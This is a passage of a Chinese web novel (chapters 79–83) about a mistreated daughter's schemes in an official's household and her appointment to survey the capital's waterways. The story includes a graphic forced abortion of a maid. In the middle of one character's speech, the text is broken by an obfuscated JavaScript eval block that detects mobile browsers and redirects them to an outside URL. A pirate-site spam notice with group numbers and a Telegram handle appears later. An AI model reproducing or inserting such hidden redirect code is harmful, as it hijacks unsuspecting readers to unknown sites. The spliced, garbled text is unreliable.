王妈妈摇摇头,说:“这事儿问题就在这里,孔妈妈不愿意,但是青黛这个傻丫头,她心里惦记着家里大爷……哎,她是个傻的,老夫人一问,她这么一答应,孔妈妈说什么都不管用了!” “这、这……”丁妈妈登时也无奈了,叹了口气,说,“给人做小能有什么好事,这傻丫头!” “可不是!孔妈妈那天喝醉跟我哭,说大爷屋里伺候的丫头,日日寒药灌着,日后大娘子进门,只怕都生不了了,她怎能看着自己生的遭这样的罪啊!”王妈妈说到这里,想到自己的女儿差点也是如此,也忍不住同情地叹了口气,说,“天底下当娘的,谁受得住。” 丁妈妈深以为然点头,关怀素想了想,轻声说:“孔妈妈是希望打消青黛的主意,把青黛好好嫁出去?” 王妈妈点头,看看左右,压低声音对关怀素说:“孔妈妈那天喝得半醉,跟我说,关娘子嫁到李家来,曾经是有一张嫁妆单子的。如今家里留存的那张是后来誊抄的,原先那张,比屋里放着的,长了三四倍。” 此话一出,别说关怀素,丁妈妈都惊得瞪大眼睛! 丁妈妈倒抽一口气,说:“姑娘,这若是孔妈妈能找出来,你日后嫁妆便好说了!” 关怀素闻言,立刻说:“妈妈,此事不麻烦,你去告诉孔妈妈,大爷身边的彩霞已经好几个月没换洗了。” 王妈妈一听,登时一惊,不可置信地看关怀素。 关怀素颔首,轻声说:“此事我也是才知道几日,知道此事,孔妈妈便知道如何让青黛死心吧?” 王妈妈眼中精光爆闪,立刻点头,说:“当然!” 而后又说:“姑娘有什么吩咐?” 关怀素轻声说:“你帮我带话给孔妈妈,嫁妆单子的事情先不急,让她有空帮我打探一下,为何老夫人这么恨我和我娘,我特别好奇,这里头到底还有什么我不知道的事情。” 王妈妈立刻应下来,拿着赏赐,飞快出去了。 第八十章 落胎 扶芳从厨房拎着给三姑娘叫的蜂蜜燕窝,出来的时候就听到廊下两个粗使婆子小声说:“是啊,瞧着腰肢粗得很,恐怕是真有了……” 扶芳一听,立刻便皱眉躲在柱子后,仔细偷听。 另一个婆子就吸了口气,说:“大爷还没孩子吧?这要是生下来个儿子,岂不是就是长子?那彩霞下半辈子岂不是都有指望了!” “是啊,她倒是有运道!这不,日后又是一个崔小娘也不一定!”开始那婆子说了,又感慨一番彩霞好命,就被人叫去做活儿了。 扶芳见她们走了,这才从柱后绕身出来,匆匆回到东院。 一进屋,扶芳就伏在孙大娘子耳边,悄悄把听到的事情全说了。 孙大娘子听完立刻瞪大眼睛,说:“你说的是真的?文哥儿才多大!彩霞就有了?” 而后转眼大喜,讥讽笑说:“这可是大事,若是真的,这可是老爷头一个孙辈呢,可得好好地调查一番。” 孙大娘子动作很快,没过两天,果然李家前院就闹了起来。 丁妈妈回来跟关怀素说起来的时候,还心有余悸说:“彩霞那事儿今儿发了,闹得好大,老爷得知,立刻便要叫人给彩霞灌药落胎,崔小娘开始还想拦一下呢!” 却原来崔妙人想着这到底是儿子的第一个孩子,便想叫碧霞带个小丫鬟,打发去庄子上待产。 日后若是有了孩子,是姑娘的话,便叫娘家弟弟养着,日后赔一份嫁妆也就是了,若是个儿子,给他贴补一份产业,虽不能认下,但也叫当个富家翁。 便是老夫人也这么说。 李辰文心中害怕,也哭着对李珺求:“爹,爹,就让碧霞去庄子上吧!爹!” 这些反应关怀素意料之中,她便笑了笑,说:“老爷怎么说?” “老爷当时冷着脸,只问大爷,说你可想清楚了,日后你若是议亲,想找个好的,人家家里必然诸多顾忌,你确定你要为了这么个丫鬟和孩子,废了你日后一生的路吗?”丁妈妈轻声学着李珺的样子说。 李珺这话一说,李辰文登时木了,不敢再拦。 老夫人最疼大孙子,立刻便说:“何至于此!又不叫认祖归宗,也不叫到家里碍眼,何至于影响?” 李珺却说:“娘,文哥儿若是想娶大家之女,有规矩人家的好姑娘多的是佳胥,有那清清白白的,人家凭什么先考虑有孩子的?” 关怀素听出来李珺的意思了,笑了一下,说:“老爷这是连老夫人都怪上了。” 丁妈妈不解地说:“可当初老夫人给文哥儿送人的时候,老爷就该想得出来会出这种事儿啊,便是那寒药天天喝,身体好的小年轻也未必管用呢。” 关怀素轻叹一声,说:“那当然是因为父亲早想好了,若是没怀,通房丫鬟也没名分,自然闹不出什么事,若是真怀了,只需要解决掉便好了。父亲的怨气不在老夫人赐人给李辰文,而是怨老夫人这时候糊涂,分不清轻重。” 丁妈妈想到这里,登时恍然大悟,说:“难怪老夫人听完,立刻劝大少爷,还说彩霞既然敢瞒着有孕的事情,显然也是心大的,得赶紧处理了。” “后来怎么处置了?”关怀素问。 “被李管家拖去柴房了,老爷吩咐,让李管家亲自盯着灌药,一定要落下来胎了再发卖出去。”丁妈妈说到这里,脸上露出不忍之色,轻声说,“孔妈妈带着青黛去亲眼看着,彩霞吃了药还不管用,管家就叫小厮用棍子捅彩霞的肚子,彩霞一直在惨叫,青黛的脸白的吓人。” “她若是想不通,就是下一个彩霞。”关怀素摇摇头,叹气说:“一会儿夜深了,妈妈去拿些钱,给李管事那边打点一下,就说彩霞也是可怜,我听了心里难受,叫他把身契给了彩霞,叫她自去吧。到底跟了大少爷一场。再给彩霞拿五十两,叫她若有家人,就回去投家人去,日后做个自在人。” “姑娘真是菩萨心肠。”丁妈妈听她给彩霞安排这么好的一条去路,便连忙说,“彩霞知道,定也会感激姑娘恩德。” “那倒不用,她若是感激,你便把这事儿是我透出去的事情直接告诉她。”关怀素摇摇头,说,“我也不是好心。” 关怀素没想到,就是这么个随手心软的小事,却无意得了个大消息。 丁妈妈没一会儿回来了,带着彩霞,说:“她离开之前,说无论如何想叩谢姑娘。” 彩霞脸色苍白,一身的病气,显然是刚落了胎,正是血气亏空的时候。 关怀素看着就露出了不忍之心,对挣扎着要行礼的彩霞说:“不用行礼了。” 彩霞却执意行礼,而后说:“我自进了柴房之后,受了那么多罪,只有大姑娘一人为我张罗,还放我身契,虽大姑娘说不用谢您,但是我这肚子越来越大,总是纸包不住火的。姑娘仁善,为我张罗日后,彩霞想过来谢恩。” 听她说话如此条理分明,关怀素愈发不忍,轻声说:“听你说话也是知书达理的,日后回乡,好好经营,你还小,日后日子还长着呢。” 彩霞闻言,落下泪来,啜泣着说:“我家里早没人了,也不知要去哪里,所以想求姑娘个恩典,求姑娘给我个去处。” 关怀素听到这里,才明白彩霞到底是为了什么,她心中感慨,温声说:“若是这个,我现在就可以应了你,一会子你就往八仙庄去,到了那边,叫庄头给你安排个活计,签个活契,日后你有想去的地方,再自行去就是。” 彩霞一听,心中大为感激,落下泪来,说:“多谢大姑娘!彩霞有一事想告知姑娘!” 关怀素点头,说:“你还有什么不放心的,只管说。” 彩霞抬头,看着关怀素,说:“大姑娘,我自小跟着大爷,知道一件事。如今李家这家里的钱财,各院私库里头的好东西,其实都是关娘子当年带来的嫁妆。” 顿了一下,彩霞眼中流出愤恨,她说:“大娘子头上戴的红宝石,是关娘子的头饰融了打的,崔小娘当宝贝的那珍珠步摇,是从关娘子的嫁妆里的珍珠冠上拆下来的,老夫人那些福字提花绫罗,也是关娘子的嫁妆……这家里的好东西,都是关娘子留下来的。” “你说这个给大姑娘有什么用?”丁妈妈忍不住说。 “我不知道。我只知道这些。”彩霞凄惨地说完,流下泪来,说,“不过大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288754|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘若是想知道当年事情,可以去找庞家的大姨奶奶问,她知晓得十分清楚,且庞家大姨奶奶与大娘子有大仇,这家里谁能把当年事情全数说出,只有一个人,便是大姨奶奶。” “你说什么?”关怀素听到这里,登时认真起来,立刻说,“细说一下。” 彩霞立刻说起自己听说的事情。 却原来,十几年前,庞大姑娘才是真正的钟灵毓秀,不但生的美貌不说,读书也机灵,众人称赞,也说了一桩极好的亲事,是沧州知府家里的庶子,虽是庶子,但是一则那庶子自己极其争气,已经中了秀才,二则那庶子在家极其受宠,年纪小小便已经得了家里许多助力,日后日子显然不差;三则这知府之子当初可是自己先看中大姑娘的,这嫁过去可不就是和和美美的小日子? 可是当初两家都已经在置办嫁妆,结果说得好好的,却在宴会里闹出了两姐妹逼着寄居在家的亲戚姑娘大冬天跳河捞钗子的事儿。 此事闹得众人咋舌,那家里人听说之后,立刻便压着孩子退了亲,此后那两姐妹的名声就都臭了。 “这件事情之后,大姨奶奶在家里蹉跎了五年,到底没办法,最终只能嫁了个京郊县城里的小商贩,家里只有两个铺面,一年收入不过一两百两,家里下人不够,大姨奶奶自己还要做些活计。”彩霞跪在地上,说,“大姨奶奶如今就在九湾河镇上、苏记卤味家里当掌柜娘子,镇上只得这一个卤味铺子,一去便知。当年孙大娘子许多事情都是庞家老仆过手,当年许多事情,我也只是伺候大爷的时候不小心听到了一两耳朵。” 说完,彩霞落泪,说:“我也不知说这些有什么用,但是想着大姑娘常年被欺负,多知道一些也是好事,也不枉费姑娘帮我这一遭。” “你说的事情对我十分有用。”关怀素叹了口气,说,“此次出去,便好好过日子吧。” 又叫柳叶再给了她五十两,叫丁妈妈亲自送她出去。 “叫跛三带人去九湾河镇那边看看。”看着丁妈妈带人离开,关怀素轻声对柳叶说。 家里闹了一场,很快恢复平静,像是什么都没发生过。 第二日圣人开笔,官员上朝、商贾开市,关怀素自然也早早去赵家上课。 没想到下课回来,便得知了两个天大的好消息! 一个是李珺竟是开年大喜,被提拔成了吏部考功司郎中。 从侍郎到郎中,只是从五品变成五品,却是一司主官,日后便可从大朝会进入小朝会。 这一步听着简单,却是进入朝堂的真正一步,不知多少人苦心钻研,却一辈子不得其门而入,而李珺却在三十多岁的时候一脚踏入,这确实是李家的大喜事。 “传我的话,咱们院子里大家都多发一个月赏钱!”关怀素当然不会在这个时候扫兴,便笑着吩咐,“妈妈去我屋里拿些钱,晚上在院子里置办一桌酒席,我们在院子里为父亲庆贺一下!” 她原只是想着应个景,心里还在叹息,昨日家里落胎,**个孩子,像是什么都没发生,今日便是欢喜,真正是讽刺。 却没想到一件小事儿,竟又惹出了一桩口舌官司。 第八十一章 风波 却是内院的婆子丫鬟听后院的丫鬟婆子领赏钱、报菜名,热闹不已,听的人眼热,一个婆子就感慨:“哎呀,如今在大姑娘屋里真是过得舒服,日日吃好喝好不说,赏钱就从未断过,连后院的粗使婆子都跟着沾光。” “可不是,到底是手里有皇庄子的,与一般小户人家不一样,就是大方。”另一个婆子也感慨。 两人说话,没看到身边的人都悄然散开,直到听到身后传来一声冷笑,讥讽的声音响起:“我倒是小门小户的,没皇庄子,比不得大姐姐富贵,让你们在院子里伺候也是委屈你们了!” 两个婆子回头一看,竟然是婉容在后头。 “姑娘,老婆子年纪大了,胡言乱语,还请姑娘恕罪!” “我这老嘴,真是什么胡话都乱说!” 一个赔罪,一个竟立刻就跪下来给自己脸上扇了两巴掌,那声音十分清脆,显是用足了力气。 “我这小门小户的,当不得你们请罪,你们这就出去,以后不许来西院伺候了!”婉容却不肯放过,冷哼一声吩咐四周,遂甩袖离去。 两个婆子吓得半死,连忙屁滚尿流想去找崔小娘请安,但是二姑娘吩咐了她们不许进西院,看门的婆子哪里敢放她们进去? 二人在门口苦苦跪了一个时辰,才终于被崔小娘知道。 只是二人只是粗使婆子,并不是什么得脸人物,崔小娘没得为她们让女儿不开心,也便让她们离开。 她们二人又能去何处?只能哭着去求管事妈妈。 闹了一圈,求告无门,人托人的,求到了丁妈妈面前。 丁妈妈无法,只能把此事原原本本告诉关怀素,末了问她:“姑娘,咱帮不帮?” “帮!怎能不帮!”关怀素闻言,想了几瞬,立刻说,“你出去带着她们二人去找管事李福,说她们二人得罪了二姑娘,虽是不好,但是到底也是家里多年老人,让管家该惩罚惩罚,只让她们知错之后,安排些其他活计给她们,好歹不叫她们没了去处。” 说完柳叶回房拿出一个荷包,关怀素接过去一看,摇头说:“这东西没用。” 说着把里面的金镯倒出来,从旁边的匣子里随手取了一只匣子的黄铜钥匙放入锦囊。 “好了,便拿这个去给李福管家吧。”她笑着吩咐。 丁妈妈不明所以地出去了,柳叶问:“姑娘这是什么意思?” “管家见识了不少好东西,等闲东西打动不了他。”关怀素笑了笑,眯了眯眼睛,轻声说,“真是瞌睡来了送枕头,我正想着怎么帮管家一把,免得后宅叫孙萍一手遮天呢。” “姑娘的意思是?”柳叶还是没明白。 “大娘子的人手都被换了,如今都是管家的人,管家以前只管前院,如果不定下来,大娘子恢复元气,定然要重新安排人手。这后院里头的油水,他难道舍得?”关怀素敲了敲桌子,轻声说,“早先我被怀疑身份,他特地在门口等着提醒我,已经对我示好几次,我便帮他一把又如何?” 柳叶闻言,这才明白过来,说:“姑娘想趁这个机会,与管家联手?” 关怀素点头,轻声说:“我预料得没错的话,管家马上会来见我了。” 果然,话音才落,便听到小荷进来说丁妈妈带着管家来请安了。 关怀素立刻叫人进来,李福一进来就笑着请安说:“大姑娘仁善,我已经安排那两个婆子去浆洗房里做活了。她们十分感激,本来想来给姑娘磕头,我想着别给姑娘平白惹事,就打发她们先去了。” 关怀素点头,笑着说:“家里浆洗房里事情不多,又没什么争斗,是个好去处。” 李家不是什么苛刻人家,各房人虽多,但是诸如下人与爷们的衣裳素来是在外头找专门浆洗的地方清洗的。 姑娘们的贴身衣衫也素来都是在自己院子里清洗晾晒。 因此浆洗下人们只需要清洗一下主子的外衫,再隔几日去浆洗衣裳的浣衣处领取洗好的衣衫、送去脏衣便罢了。 虽因为不能时常在主子面前打转,少了许多赏钱,但是在她们二人闯祸之后来看,能得这么个差事,不在上年纪之后被赶出去甚至发卖出去与家人离散,已经是不幸之中的万幸了。 李福安排得极其妥帖,看来是看懂了她的暗示。 果然下一刻,李福笑着叫小厮送进来一堆东西,说:“还有件事,方才老爷听说姑娘为了庆贺他升任郎中的事情大赏了院子里的人,感慨姑娘纯孝,特地让我拿这几匹缎子与皮毛给姑娘。” 这事儿李珺不会平白听到,显然是李福特地说的。 关怀素笑着说:“一点小事,怎地还劳累李管家特地在父亲面前念叨。” 李福见她听得明白,眼中闪过精光,笑着接过两匹流光溢彩的绸缎,亲自捧着上前,恭敬放在关怀素面前,低声说,“这两匹缎子是今儿圣上亲自赐下的,是苏州才上来的贡品,老爷说这烟粉色与湖蓝色适合女儿家,姑娘最近做衣衫,下月开春穿正当得宜。” “至于这几块皮子,虽小了些,但是也是难得的好品相,而今用不上,下半年用来做冬衣倒是不错。”李福把东西递给丁妈妈,又指着小厮手里捧着的皮毛笑着说。 关怀素笑着点头,又看着那几匹缎子说,“这么点小事,下次叫小子来说一声,我自派人去取便好了,免得劳累您特地走一趟。” “哪里,反正还要去对面,一道办了,并不劳烦。”李福笑着请安,说完这些话,心里有了底,便笑着问关怀素:“姑娘,要开春了,这院子里下人要做春衫了,姑娘自己的衣衫也要安排布庄娘子来量身……姑娘可有什么想法?” “哎呀,这事儿我还真是要拜托管家。”关怀素笑容深了一些,捻了捻丁妈妈抱着的布料,说,“父亲赏赐的布料珍贵,我很是喜欢,家里的针线人做岂不是浪费了?得找手艺好的绣娘,我才放心呢。” “姑娘只管放心,此事我一定叮嘱好,保管叫姑娘满意!”李福一听,眼睛一亮,笑容更加真诚,深深地给关怀素行了一礼,这才带着小子们欢天喜地地出去了。 丁妈妈看管家说了几句话,突然欢喜地行礼,而后脚步生风地出去,像是打了大胜仗一般,不明所以,奇怪地问:“姑娘,管家瞧着咋这么高兴,做衣服有那么多油水吗?” 柳叶听得笑出声来,说:“妈妈,管家高兴不是做衣服,是因为这后院日后也要他管,他才开心呢!” 丁妈妈不明所以,诧异地说:“怎地后院就成李管家做主了?谁吩咐的?老爷好像只让他安排人手呢!” 柳叶知道丁妈妈虽然平常精明,但是却不太听得懂太隐晦的哑谜,便直接说:“妈妈你想想,姑娘这边让李管家帮忙,宁小娘那边若是也让李管家帮忙,那岂不是后院都越过了孙大娘子安排的人,直接由管家办差了?” 只要后院的主子都只认李福,宁小娘如今盛宠,孙萍还有暗害她折磨她的前科,李珺担心宁小娘的处境,一定会顺水推舟,把后院从孙大娘子与崔小娘手上划出去。 丁妈妈瞬间听明白了,立刻拍手,说:“原来如此!好!日后若是都是管家安排,好歹在家里不至于那么憋屈!” 说着欢喜地小心收起屋里的毛皮缎子来。 柳叶收拾完,看关怀素若有所思,便好奇地问:“姑娘,一切都如此顺利,你怎地还是瞧着闷闷不乐的样子?” 关怀素托着脸,轻叹了口气,说:“我在想,前儿侯爷,瞧着是不是被我气晕的啊?” 柳叶闻言,立刻想到关怀素那句:“你能不能娶了白芷妹妹。” 想到这句话,柳叶无语,轻声说:“不怪侯爷气晕,姑娘您叫他去娶赵姑娘,简直胡来!” “我、我就是瞧着白芷妹妹太可怜了,反正侯爷心里也没喜欢的人,为何不帮帮忙……好,我知道我太草率了,我不该如此不尊重侯爷自己的想法。”关怀素看到柳叶的眼神,立刻做出知错的样子,而后又叹了口气蔫蔫地说,“可是他也不至于只报个平安就不理我了吧。” 平常传信,好歹还要说下水道图的整理情况,偶尔周乐天还会分享一下最近读的书,甚至吃了什么药,感觉如何等等小事。 这次就是冷冰冰的两个字:“平安。” 关怀素知道,他绝对是生气了。 “姑娘还没想明白侯爷为什么生气吗?”柳叶无语地看着关怀素,问。 关怀素仔细思索,认真思考,最后认真说:“我想明白了。” 柳叶惊讶地看她。 而后看到关怀素认真地说:“我确实没有考虑到他的想法,他日后未必不能遇到自己喜欢的女子,怎能为了他人罔顾侯爷自己的意愿?是我僭越了,我之错!” 柳叶闻言,愣了几息,而后无奈地说:“姑娘,早点休息,明儿还要为程姨母贺喜呢!” 这便是第二个好消息,李珺升官,程娘子也得了圣人夸奖,封了百福县主。 想到这里,关怀素又开心起来,立刻点头,洗漱准备休憩。 而另一边,公主府内,周乐天也未曾入睡。 且他守在西府大门口,满脸愤怒地在与公主对峙。 第八十二章 京师水道 周乐天与公主二人都是积年血战沙场的人物,对峙之间,一片肃杀。 “这是我的府邸。”大长公主看着周乐天沉声说话,不怒自威。 “您答应过我,无事不踏入西苑。”周乐天只是看着她,轻声提醒,“您若是不遵当日诺言,那我也只能带父亲去山庄里养病了。” 大长公主沉默了一瞬,才说:“你还是如此搞不清轻重。罢了,我不是来找他的,我是听下人说,你前几日大晚上点灯开库房,闹出好大动静。” 公主府大,虽东西分居,但是闹出一些大动静难免隔墙有耳。 周乐天倒是不怕母亲知道,但是他也并不打算详细解释,寒风乍起,他抚住心口咳嗽几声,才说:“不过是兴致来了,翻捡一下东西罢了,不劳您记挂。” 大长公主闻言脸色沉了下来,冷冷地看他一眼,不再说话,只转身离去。 身边的下人们都吓得不敢大口喘气,唯有来福上前搀扶住周乐天,有些不忍地劝慰:“爷,您这会子别劳心,郎中说了,您心口的淤血才散完,最近一定要多多将养,日后才能大好呢!” 周乐天闻言,神色顿时一松,轻笑着说:“上回我当街晕倒,定是吓到她了。” 来福见他露出笑容,也跟着笑了,说:“可不是,姑娘给的方子真是有用,才吃多久,竟已经开始散瘀,只是没想到散瘀前竟会压心口,我看到爷昏倒吓得半死,姑娘当时肯定吓到了。” “到时候再见她,一定要好生道谢才是。”周乐天口里说着,扶着来福苦笑一声,无奈地说,“但愿她到时别又哭着求我娶白芷……” 来福说到这茬也是哭笑不得。 二人说着话,刚走到门口,便遇到匆匆赶来的老妈妈,见到周乐天脸上一喜,躬身行礼说:“侯爷,老爷这会子有些醒了,说想见您。” 周乐天闻言顿时精神大振,急匆匆就跟了上去。 一路到了后院,抬脚进门,就看到里屋里坐着一个穿着天水碧色大袖衫的男人。 他身量非常纤薄,气质高雅华贵,姿态优雅地坐在茶桌前,像是白鹤化人。 听到周乐天的脚步声,他回头望过来,登时昏暗的室内都仿佛华光大盛。 这坐在屋内,不像凡人、倒像是被贬斥的谪仙一般的玉面郎君,便是昔日名满天下的、与宋玉潘安齐名的前朝世家子,周沉云。 也是叫大长公主一见倾心的当朝驸马。 他现在已经有了些年岁,但是只要是清醒的时候,依旧是极其好看的,只是太瘦了些,有种憔悴的哀怨感。 “父亲。”周乐天走过去行礼。 “坐下吧。”周沉云点头,含笑看他坐在自己面前,然后用一种有些期盼的神色说:“我听他们说,前几日你开了府库,拿了套女子的珍珠头面出去?” “是,是父亲的私藏。”周乐天点头。 “你知道我不是问这个。”周沉云慈爱地看着他,笑着说,“别给我打马虎眼,这些年你自己经营得很好,从没动过我给你的东西,这次还是女子首饰。让我猜猜,外头的那些东西到底不如一代代传下来的好东西,不能哄得你心爱之人开心,是吧?” 一直沉稳的周乐天难得脸上浮现出微微窘迫神色,说:“父亲,我、我……” “行了,你自己的东西,随便用,不用管。和我说说那个姑娘的事情吧。”谢沉云笑着拦住他,说。 周乐天自然不会瞒着父亲,除了关怀素的真实身份,其他的周乐天都知无不言言无不尽,交代得清清楚楚。 “竟是关大儒的外孙女,听你这么说,她为人处世都很是不错,身份与性子都配得上你。”周沉云一脸温和慈爱地听着,心中很是喜欢这个沉稳的姑娘,看着周乐天说,“难得她冰雪聪明,对流言全然不信,竟是一心一意地信你。我听你说话,她对你的伤势也很关心,又给你赠药,又叮嘱你添衣……这样好的姑娘,别叫那些高高在上的人糟践了,你若是心悦她,便早些娶了她,日后去你想去的地方,别跟我一样,一辈子困在这么个不得见人的地方了。” 他自怜身世,说到这里,难掩悲凉。周乐天动容,立刻起身握住他冰凉的手,有些难受地说:“父亲,您若是难受,不如春上我们便去郊外庄子住,皇祖母给我的庄子上有温泉,开春时泡一泡,刚好可以去一下骨头里的冬寒……” “乐天。”周沉云却轻轻拍了拍他的手,轻笑着说,“无须在意,这辈子如此,应当是我的劫数。我自己已经看开,我现在唯一放心不下的是你……” 说到这里,周沉云的眼神突然呆愣了几秒。 而后他的眼神突然警惕地打量着周乐天,突然问:“你是谁?你为什么在我家?” …… 饶是自小无数次经历,每回到这种时候,周乐天都心中大痛。 “侯爷,老爷发病了,您先回吧。”先前父子二人谈心的时候,下人们都远远地不曾打扰,等到周沉云叫出声,下人们便立刻熟练地进来安抚周沉云,又立刻请周乐天出去。 周乐天起身出门,走出去的时候还听到父亲用一种极其天真烂漫的神态埋怨说:“今儿怎么没有太阳?我跟抚霜约好,要带她去游园的!” “爷,二姑娘说今儿先歇着不想出门,您要不吃点糕点,看看书?”下人哄骗的声音被慢慢抛到脑后,周乐天走出院子,回头的时候,只看到暗沉沉的天压着这四方天井的庭院。 这里是公主西府里最大的正院,精美大气,雕栏画栋,便是屋檐上的嘲风兽都绘着金漆。 更别提院子里永远绿色的树木,随着时节改变的花卉,便是门口的帘子、窗户上的窗纱……全都极其名贵,极其精美。 可是这又如何呢? 这不过是大一点、更美丽一点的牢笼罢了。 这里锁着一只全天下最漂亮的鸟儿,哪怕主人已经不再爱他美丽的皮毛,也决计不肯放走。 “爷,咱们走吧。”来福窥他的神色,心中知道他难受,便立刻说,“爷,圣人今儿封了程娘子县主之位,明日不知多少人要登门道贺,姑娘明日估计要去那边帮忙。” 周乐天顿时心情好了许多,说:“等她们那边忙完了,你瞧着时间提醒我,我们到时候择日过去道贺,图纸已经整理好,舅舅看到说不定有赏赐,到时候刚好一起带过去给她。” 来福连连点头,自去安排。 程娘子府上热闹了好几日。 程娘子得封县主,登时整个人都精神欢喜起来,因这次有了封号,有了食邑,且圣上还夸赞程家满门忠烈、其心可嘉,其他人再拿当年的事情说事儿,就是不给圣人脸面了。 这意味着,程娘子是终于可以挺起腰杆子做人了! 刚忙完,程娘子就拉着关怀素商量:“虽说我和你姨父也都不是那爱奢靡的,但是如今到底也得了圣人的册封,还住这地方,实在是也太狭窄了些,不好招待客人。” 这确实是件大事,圣人册封,又给了钱财又给了食邑和封地,程娘子就必须开开心心地过上县主该过的日子。 继续住在狭窄的陋室,往大了说,若是让圣人觉得她心怀怨望,还记恨父兄冤死的恨,所以不肯食县主米禄的话,那可就不好了。 因此关怀素闻言立刻点头,忙问姨母有什么打算。 “我与你姨父也是住惯了这地方的,不想挪地方,便问了隔壁几家,给了比市价多一些的价钱,他们也愿意搬走,如今这三家都愿意的话,婉玉你给我瞧瞧,咱们怎么改才符合规制,又住得舒服。”程娘子显然是接旨之后一直在琢磨这个事情,这会子马上便拿出图纸和关怀素讨论起来。 关怀素接过来一看,大概估算了一下面积,便对程娘子说:“这方位好,这三家凑在一起,连着门口那块地凑起来,竟是个方方正正、四角俱全的好地。” 想了想,立刻便有了计划,便说:“姨母和姨父还是住家里,不用挪地方,把外面几家推平了,先连着住的这里建围墙和倒座,连起来之后,连着这几面建下来,前后可以凑出三进。”关怀素拿着笔勾勒几下,把房子大致划分出来,中间三进规整的屋子,前后都有倒座,风雨廊最左边连着如今住的这厢房处,等到正屋建好了全家搬过去,便把这边弄成个花园,刚巧和隔壁那家现有的小花园对称下来。 如此一来,便也刚巧符合一个县主最简朴的屋子规制了。 “哎哟,这么一看,真是气派呢!”程娘子一看登时大喜,连声说,“那这图纸就靠我们婉玉了!” 关怀素自然是义不容辞,便点头笑着答应下来,又说:“到时候开工了,我也可以帮着干活。” 说到这里,门口却听到周乐天含笑说:“只怕姑娘接下来没空做活了。” 程娘子和关怀素一惊,却看到门口,周乐天抬步进门,做了个免礼的动作,反而给程娘子行了个小辈的礼,这才说:“舅舅早上刚下的旨意,叫我全权负责京师水道勘探与修复之事,姑娘为辅,同办此事,务必要在六月底之前完工。” 程娘子登时一愣,立刻追问说:“同办此事,可是要跟着侯爷去满城跑?” 周乐天知道她忌讳,便立刻说:“今日我将整理好的水道图交上去之后,不敢隐瞒姑娘功绩,一道禀告陛下,陛下龙颜大悦,已经在小朝会的时候跟李大人提过请姑娘协办此事,李大人说女儿能为君分忧,心中只有欢喜。且我们身边还有工部官员随行,若是还有人风言风语,便请他们去陛下面前去说!” 话说到这份上,真正是把所有的事情都考虑到了,程娘子登时露出放心的神色来,笑着颔首说:“如此我便放心了。” 周乐天便看向关怀素。 关怀素听到周乐天说完,倒是瞧着身子还好,又瞧着好像也不像在继续生自己气的样子,心中松了口气,便笑了一下,说:“能为百姓做些事情,乃是我习工学最开始的心愿,岂敢推辞?” 如此说来,此事便定下了。 “那便辛苦姑娘,咱们接下来两个月内,要把京师全部勘探一遍,三月初便是开工的日子。”周乐天立刻把计划和盘托出。 关怀素算了一下:“两个月内勘探,回去还要把图纸补全,我上午还要去赵家上课……这时间有些赶!” “是,京师汛期是七月,往年每当这个时候家家苦不堪言,甚至还曾因水渠不通淹没了低矮房舍,还闹出过人命……”周乐天赶紧解释,无奈地说,“只能辛苦姑娘了。” 关怀素一听,便立刻下定决心说:“如此那我们便现在就去最好,城西那边地势复杂,先从那边弄,弄好后城西直接先开工,咱们四个区先后并行,最后接通,如此是最保险的。” 这是最保险的,但是也要求图纸和勘探走在最前方,也是最累的。 但是关怀素并不怕累,她在李家白日也是无所事事,这会子一点也没耽误,便直接跟程娘子说了,准备出发。 程娘子也不拦她,只点了点头,让她自去忙。 关怀素便立刻跟着周乐天出门,二人就这么一路往城西而去。 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第八十三章 质问 城西地势复杂,因着京师地价贵的关系,民宅挤挤挨挨地全数修建在一起,且有些人家还是两户共用一道墙。 层层叠叠地修建了二十几年,如今再看,已经是非常可怕的庞然大物。 且让关怀素一看就皱眉的,便是有些人家已经修建到了排水渠的边上,那里地势本来就低,若是水渠那边一蓄水,岸边绝对要出大事。 “这河边的百姓必须全部迁走,否则到时候汛期一来,这水边的民居会全部湮没,到时候定会出人命!”关怀素一下马车,立刻皱眉说,“侯爷,这不是开玩笑的,汛期一到,有时候一夜便能涨水起来,没有时间反应!” “这里原先就不让建房。”周乐天闻言,叹了口气说,“只是京师这些年人口愈发多了,百姓家里住不过来,便悄悄搭建,官府没注意,几年竟已经落地生根。” 时日一久,就愈发难以拔除,这就和沉疴难愈一样的道理。 关怀素闻言,皱着眉头展开手里祖父当年绘制的图纸,说:“我瞧着这大渠竟是窄了快一半,他们修建房屋就算了,是不是还填了渠来建房?” 周乐天倒是不知道,这地方也有二十几年,当初他还没出生呢。 他闻言便直接说:“姑娘瞧着和图纸不一样,那应当就是填了。” “胡闹!”关怀素看了看图纸,确定祖父记得数据确实比这里宽阔了一倍,登时生气了,说:“这可是京师里最大的明渠,这地方堵一半,怎能不出汛灾?” 说完她认真地对周乐天说:“侯爷,你若是叫我办此事,那我不管如何,这地方一定要空出来,京师里本来地势就是东高西低,这地方又是明渠,出去接着河,这地方一堵,绝对还会死人!” 周乐天闻言,便立刻点头,说:“工部其实也早说过此地的问题,但是他们却没个章法,加上朝中事多,竟就耽搁了这么多年。你放心,这回我全数记下,晚上便去找陛下禀明此事。” 周乐天如此保障,关怀素便也稍微放下心来,她忍着心中焦躁,便开始在城西的巷子里开始查看起来。 这一查看,她登时眉头愈发皱紧了。 城西的问题太严重了,本来这一块地方就是明渠附近,地势还有些低,偏百姓建房的时候挤挤挨挨,导致外头阳光灿烂,一进城西登时就眼前一黑,竟是大白天的看不到什么光。 京师大雪已经过去许久,其他地方雪都化得差不多了,结果城西这边居然还有结着冰的淤泥。 此地阴冷可见一斑。 “此地这样长期居住,只怕人容易生病。汛期一过,若是死的人多些,指不定连着就要起时疫。”关怀素忍不住轻声说。 “姑娘真神了!”来福在旁边听到,登时瞪大眼睛,说,“京师这几年回回都是这边容易爆发疫病,前年闹得厉害了,把整个城西都封了,叫人不许外出,过了三个月才熬过来。” 